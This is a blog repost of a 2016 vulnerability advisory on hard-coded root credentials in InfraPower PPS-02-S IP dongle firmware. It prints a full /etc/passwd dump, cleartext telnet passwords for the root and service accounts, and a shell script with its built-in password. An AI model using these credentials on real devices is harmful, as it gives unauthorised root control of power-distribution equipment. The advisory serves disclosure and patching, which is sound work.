Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863101570

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
InfraPower PPS-02-S Q213V1 Hard-coded Credentials Remote Root Access


Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)
Fixed version: Q216V3 (Firmware: IPD-02-FW-v03)

Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.

Desc: InfraPower suffers from a use of hard-coded credentials. The IP
dongle firmware ships with hard-coded accounts that can be used to gain
full system access (root) using the telnet daemon on port 23.

Tested on: Linux 2.6.28 (armv5tel)
           lighttpd/1.4.30-devel-1321
           PHP/5.3.9
           SQLite/3.7.10


Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2016-5371
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5371.php


27.09.2016

--


# cat /etc/passwd

root:4g.6AafvEPx9M:0:0:root:/:/sbin/root_shell.sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
admin:4g.6AafvEPx9M:1000:1000:Linux User,,,:/home:/bin/login_script
user:4g.6AafvEPx9M:1001:1001:Linux User,,,:/home:/bin/login_Script
service:AsZLenpCPzc0o:0:0:root:/www:/sbin/menu_shell.sh
www:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www:/sbin/menu_shell.sh
www2:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www2:/sbin/menu_shell.sh

# showing accounts in root group:

Username: root
Password: 8475
--
Username: service
Password: ipdongle
--
Username: www
Password: 9311
--
Username: www2
Password: 9311

# showing other less-privileged accounts: 

Username: user
Password: 8475
--
Username: admin
Password: 8475

--------

/mnt/mtd # echo $SHELL
/sbin/root_shell.sh
/mnt/mtd # cat /sbin/root_shell.sh 
#!/bin/sh
trap ""  2 3 9 24

# check login
passWork=`cat /mnt/mtd/main_conf | grep RootPassEnable | cut -d " " -f 2`

if [ "$passWork" = "1" ]; then
  login_file=/mnt/mtd/root_login
  now_timestamp=`date +%s`

  if [ -f $login_file ]; then
    line=`wc -l $login_file | cut -c 1-9`
    if [ "$line" != "        0" ] && [ "$line" != "        1" ] && [ "$line" != "        2" ]; then
      pre_login=`tail -n 3 $login_file | cut -d " " -f 1`
      pre_result1=`echo $pre_login | cut -d " " -f 1`
      pre_result2=`echo $pre_login | cut -d " " -f 2`
      pre_result3=`echo $pre_login | cut -d " " -f 3`
      if [ "$pre_result1" = "fail" ] && [ "$pre_result2" = "fail" ] && [ "$pre_result3" = "fail" ]; then
        pre_timestamp=`tail -n 1 $login_file | cut -d " " -f 2`
        result=`/sbin/checkLoginTime $pre_timestamp $now_timestamp`
        if [ "$result" != "success" ]; then
          echo $result
          exit 0
        fi
      fi
    fi
  fi

  echo -n "password:"
  read pass
  if [ "$pass" != "999" ]; then
    echo "wrong password"
    echo fail $now_timestamp >> $login_file
    exit 0
  fi
  echo success $now_timestamp >> $login_file
fi

/bin/sh
/mnt/mtd # 

--------

/mnt/mtd # ls
IMG001.exe         boot.old.sh        load_config.log    main_conf          net_conf           passwd_conf        snmp_conf          web_conf
PDU3_ini           box_conf           log_memCheck.txt   main_conf.bak      net_conf.old       port_conf          snmpd.conf
PDU3_pol           info.zip           mac_addr           me_login           ntp_conf           private            start_service.log

--------

/mnt/mtd # df -h

Filesystem                Size      Used Available Use% Mounted on
tmpfs                   256.0M      4.0K    256.0M   0% /tmp
/dev/mtdblock1            1.4M     96.0K      1.3M   7% /mnt/mtd
/dev/mtdblock5            1.0M     60.0K    964.0K   6% /mnt/mtd1
/dev/mtdblock6            1.0M     60.0K    964.0K   6% /mnt/mtd2
/dev/mtdblock7            1.0M     60.0K    964.0K   6% /mnt/mtd3

--------

/www # ls -al

drwxr-xr-x    5 1013     1014            0 Jan 13 08:41 .
drwxr-xr-x   16 root     root            0 Nov 28 11:17 ..
-rwxr--r--    1 1013     1014         6875 Apr 22  2014 CSSSource.php
-rwxr--r--    1 1013     1014          291 Apr 22  2014 Config.php
-rwxr--r--    1 1013     1014         1685 Apr 22  2014 ConnPort.php
-rwxr--r--    1 1013     1014         5787 Apr 22  2014 FWUpgrade.php
-rwxr--r--    1 1013     1014         7105 Apr 22  2014 Firmware.php
-rwxr--r--    1 1013     1014        10429 Apr 22  2014 Function.php
drwxr-xr-x    2 1013     1014            0 Apr 22  2014 General
-rwxr--r--    1 1013     1014         1407 Apr 22  2014 Header.php
-rwxr--r--    1 1013     1014         6775 Apr 22  2014 IPSettings.php
drwxr-xr-x    2 1013     1014            0 Apr 22  2014 Images
drwxr-xr-x    2 1013     1014            0 Apr 22  2014 JavaScript
-rwxr--r--    1 1013     1014          408 Apr 22  2014 JavaSource.php
-rwxr--r--    1 1013     1014          849 Apr 22  2014 ListFile.php
-rwxr--r--    1 1013     1014        12900 Apr 22  2014 Login.php
-rwxr--r--    1 1013     1014          355 Apr 22  2014 Logout.php
-rwxr--r--    1 1013     1014          352 Apr 22  2014 Main_Config.php
-rwxr--r--    1 1013     1014         5419 Apr 22  2014 Menu.php
-rwxr--r--    1 1013     1014          942 Apr 22  2014 Menu_3.php
-rwxr--r--    1 1013     1014         4491 Apr 22  2014 Ntp.php
-rwxr--r--    1 1013     1014        23853 Apr 22  2014 OutletDetails.php
-rwxr--r--    1 1013     1014         1905 Apr 22  2014 OutletDetails_Ajax.php
-rwxr--r--    1 1013     1014        48411 Apr 22  2014 PDUDetails.php
-rwxr--r--    1 1013     1014         4081 Apr 22  2014 PDUDetails_Ajax_Details.php
-rwxr--r--    1 1013     1014         1397 Apr 22  2014 PDUDetails_Ajax_Outlet.php
-rwxr--r--    1 1013     1014        19165 Apr 22  2014 PDULog.php
-rwxr--r--    1 1013     1014        29883 Apr 22  2014 PDUStatus.php
-rwxr--r--    1 1013     1014         4418 Apr 22  2014 PDUStatus_Ajax.php
-rwxr--r--    1 1013     1014         7791 Apr 22  2014 PortSettings.php
-rwxr--r--    1 1013     1014        24696 Apr 22  2014 SNMP.php
-rwxr--r--    1 1013     1014        38253 Apr 22  2014 SensorDetails.php
-rwxr--r--    1 1013     1014        27210 Apr 22  2014 SensorStatus.php
-rwxr--r--    1 1013     1014         5984 Apr 22  2014 SensorStatus_Ajax.php
-rwxr--r--    1 1013     1014        40944 Apr 22  2014 System.php
-rwxr--r--    1 1013     1014         4373 Apr 22  2014 UploadEXE.php
-rwxr--r--    1 1013     1014         9460 Apr 22  2014 User.php
-rwxr--r--    1 1013     1014        23170 Apr 22  2014 WriteRequest.php
-rwxr--r--    1 1013     1014         8850 Apr 22  2014 WriteRequest_Ajax.php
-rwxr--r--    1 1013     1014        10811 Apr 22  2014 dball.php
-rwxr--r--    1 1013     1014          771 Apr 22  2014 doupgrate.php
-rwxr--r--    1 1013     1014           76 Apr 22  2014 index.php
-rwxr--r--    1 1013     1014           49 Apr 22  2014 nfs.sh
-rwxr--r--    1 1013     1014         5410 Apr 22  2014 production_test1.php
-rwxr--r--    1 1013     1014          723 Apr 22  2014 vaildate.php
-rwxr--r--    1 1013     1014          611 Apr 22  2014 wiseup.php